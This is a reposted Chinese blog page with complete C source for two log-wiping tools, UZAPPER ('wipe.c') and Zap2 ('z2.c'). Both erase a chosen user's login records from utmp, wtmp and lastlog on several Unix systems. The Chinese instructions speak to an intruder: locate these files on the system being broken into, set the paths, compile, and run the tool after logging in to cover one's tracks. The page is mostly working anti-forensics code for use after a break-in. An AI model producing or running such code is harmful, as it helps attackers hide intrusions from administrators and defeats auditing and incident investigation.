zoukankan      html  css  js  c++  java
  • (转载)wipe.c and z2.c

    /*=============================================================================

    UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD

    The Shadow Penguin Security ( http://shadowpenguin.backsection.net )

    Written by UNYUN ( unewn4th@usa.net )

    =============================================================================

    */

    #include <stdio.h>

    #include <fcntl.h>

    #include <unistd.h>

    #include <utmp.h>

    #ifdef UTMAXTYPE

    #define UTMPX

    #include <utmpx.h>

    #endif

    #include <pwd.h>

    #ifndef _PATH_LASTLOG

    #include <lastlog.h>

    #endif

    #include <sys/types.h>

    #include <sys/stat.h>

    #include <sys/utsname.h>

    #define SVR4_UTMP "/var/adm/utmp"

    #define SVR4_WTMP "/var/adm/wtmp"

    #define SVR4_LASTLOG "/var/adm/lastlog"

    #define SUNOS4_UTMP "/etc/utmp"

    #define SUNOS4_WTMP "/usr/adm/wtmp"

    #define SUNOS4_LASTLOG "/usr/adm/lastlog"

    #define BSD_UTMP "/var/run/utmp"

    #define BSD_WTMP "/var/log/wtmp"

    #define BSD_LASTLOG "/var/log/lastlog"

    #define MAX_FPATH 512

    int wipe_log(path,user,type)

    char *path,*user;

    int type;

    {

    struct utmp utmp_ent;

    #ifdef UTMPX

    struct utmpx utmpx_ent;

    #endif

    void *ent;

    char *un;

    int sz,fd,c=0;

    if (strlen(path)==0) return(1);

    if (type==0){

    ent=(void *)&utmp_ent;

    #ifdef UTMPX

    un=(char *)&utmp_ent.ut_user;

    #else

    un=(char *)&utmp_ent.ut_name;

    #endif

    sz=sizeof(struct utmp);

    }else{

    #ifdef UTMPX

    ent=(void *)&utmpx_ent;

    un=(char *)&utmpx_ent.ut_user;

    sz=sizeof(struct utmpx);

    #endif

    }

    if ((fd=open(path,O_RDWR))<=0) return(-1);

    while(read(fd,ent,sz)>0)

    if (!strncmp(un,user,strlen(user))){

    memset(ent,0,sz);

    lseek(fd,-sz,SEEK_CUR);

    write(fd,ent,sz);

    c++;

    }

    close(fd);

    printf("Wiped %d entries of %s from %s.\n",c,user,path);

    return(0);

    }

    int wipe_lastlog(path,user,type)

    char *path,*user;

    int type;

    {

    struct passwd *p;

    struct lastlog ent;

    int fd;

    char buffer[MAX_FPATH];

    if (type==0) strcpy(buffer,path);

    else sprintf(buffer,"%s/%s",path,user);

    memset(&ent,0,sizeof(struct lastlog));

    if ((p=getpwnam(user))==NULL) return(-1);

    if ((fd=open(buffer,O_RDWR))<=0) return(-2);

    if (type==0)

    lseek(fd,p->pw_uid*sizeof(struct lastlog),SEEK_SET);

    write(fd,&ent,sizeof(struct lastlog));

    close(fd);

    printf("Wiped %s from %s.\n",user,path);

    return(0);

    }

    main(argc,argv)

    int argc;

    char *argv[];

    {

    char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];

    char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];

    char f_lastlog[MAX_FPATH];

    struct utsname utname;

    int lastlog_type;

    if (argc!=2){

    printf("Usage: %s Usernane\n",argv[0]);

    exit(1);

    }

    if (getpwnam(argv[1])==NULL){

    printf("Unknown user : %s\n",argv[1]);

    exit(1);

    }

    uname(&utname);

    strcpy(f_wtmpx,""); strcpy(f_utmpx,"");

    if (!strcmp(utname.sysname,"SunOS")){

    #ifdef UTMPX

    strcpy(f_utmp, SVR4_UTMP);

    strcpy(f_wtmp, SVR4_WTMP);

    strcpy(f_utmpx, UTMPX_FILE);

    strcpy(f_wtmpx, WTMPX_FILE);

    strcpy(f_lastlog, SVR4_LASTLOG);

    lastlog_type=0;

    #else

    strcpy(f_utmp, SUNOS4_UTMP);

    strcpy(f_wtmp, SUNOS4_WTMP);

    strcpy(f_lastlog, SUNOS4_LASTLOG);

    lastlog_type=0;

    #endif

    }else if (!strcmp(utname.sysname,"Linux")

    || !strcmp(utname.sysname,"FreeBSD")){

    strcpy(f_utmp, BSD_UTMP);

    strcpy(f_wtmp, BSD_WTMP);

    strcpy(f_lastlog, BSD_LASTLOG);

    }else if (!strcmp(utname.sysname,"IRIX")){

    #ifdef UTMPX

    strcpy(f_utmp, SVR4_UTMP);

    strcpy(f_wtmp, SVR4_WTMP);

    strcpy(f_utmpx, UTMPX_FILE);

    strcpy(f_wtmpx, WTMPX_FILE);

    strcpy(f_lastlog, SVR4_LASTLOG);

    lastlog_type=1;

    #else

    printf("Can not wipe. System Unknown.\n");

    #endif

    }else

    printf("Can not wipe. System Unknown.\n");

    wipe_log(f_utmp, argv[1],0);

    wipe_log(f_utmpx,argv[1],1);

    wipe_log(f_wtmp, argv[1],0);

    wipe_log(f_wtmpx,argv[1],1);

    wipe_lastlog(f_lastlog,argv[1],lastlog_type);

    }
    编译好的wipe
    其中 u 选项为 utmp utmpx 日志擦除..
    w 选项为 wtmp wtmpx 日志擦除.
    l 选项为 lastlog 日志擦除.
    a 为/var/adm/pacct日志擦除

    Zap2 (清除 wtmp/lastlog/utmp记录)
    我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c,使其包含这些文件的正确路径。
    下面是在文件头部的需要你修改的部分。
    #define WTMP_NAME "/usr/adm/wtmp"
    #define UTMP_NAME "/etc/utmp"
    #define LASTLOG_NAME "/usr/adm/lastlog"
    在有些系统中应该是:
    #define WTMP_NAME "/var/adm/wtmp"
    #define UTMP_NAME "/var/adm/utmp"
    #define LASTLOG_NAME "/var/adm/lastlog"

    但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登录之后运行z2,你就已比较安全了。
    这里是c程序:
    z2.c
    --------------------------- cut here
    #include <sys/types.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/file.h>
    #include <fcntl.h>
    #include <utmp.h>
    #include <pwd.h>
    #include <lastlog.h>
    #define WTMP_NAME "/usr/adm/wtmp"
    #define UTMP_NAME "/etc/utmp"
    #define LASTLOG_NAME "/usr/adm/lastlog"

    int f;

    void kill_utmp(who)
    char *who;
    {
    struct utmp utmp_ent;

    if ((f=open(UTMP_NAME,O_RDWR))>=0) {
    while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
    if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
    bzero((char *)&utmp_ent,sizeof( utmp_ent ));
    lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
    write (f, &utmp_ent, sizeof (utmp_ent));
    }
    close(f);
    }
    }

    void kill_wtmp(who)
    char *who;
    {
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

    while(pos != -1L) {
    lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
    if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
    pos = -1L;
    } else {
    if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
    bzero((char *)&utmp_ent,sizeof(struct utmp ));
    lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
    write (f, &utmp_ent, sizeof (utmp_ent));
    pos = -1L;
    } else pos += 1L;
    }
    }
    close(f);
    }
    }

    void kill_lastlog(who)
    char *who;
    {
    struct passwd *pwd;
    struct lastlog newll;

    if ((pwd=getpwnam(who))!=NULL) {

    if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
    lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
    bzero((char *)&newll,sizeof( newll ));
    write(f, (char *)&newll, sizeof( newll ));
    close(f);
    }

    } else printf("%s: ?\n",who);
    }

    main(argc,argv)
    int argc;
    char *argv[];
    {
    if (argc==2) {
    kill_lastlog(argv[1]);
    kill_wtmp(argv[1]);
    kill_utmp(argv[1]);
    printf("Zap2!\n");
    } else
    printf("Error.\n");
    }

  • 相关阅读:
    SEO分享:我为什么会有这么多的优质外链资源?
    执行shell脚本提示“syntax error near unexpected token for((i=0;i&lt;$length;i++))”
    Codeforces Round #254 (Div. 2)D(预计)
    自己写配置文件
    软件測试基本方法(二)之白盒測试
    hdu 4638 Group
    影视集结号--首页
    2015阿里巴巴秋招在线笔试题
    php 抓取天气情况 www.weather.com.cn
    C语言中的enum(枚举)使用方法
  • 原文地址:https://www.cnblogs.com/amonw/p/602846.html
Copyright © 2011-2022 走看看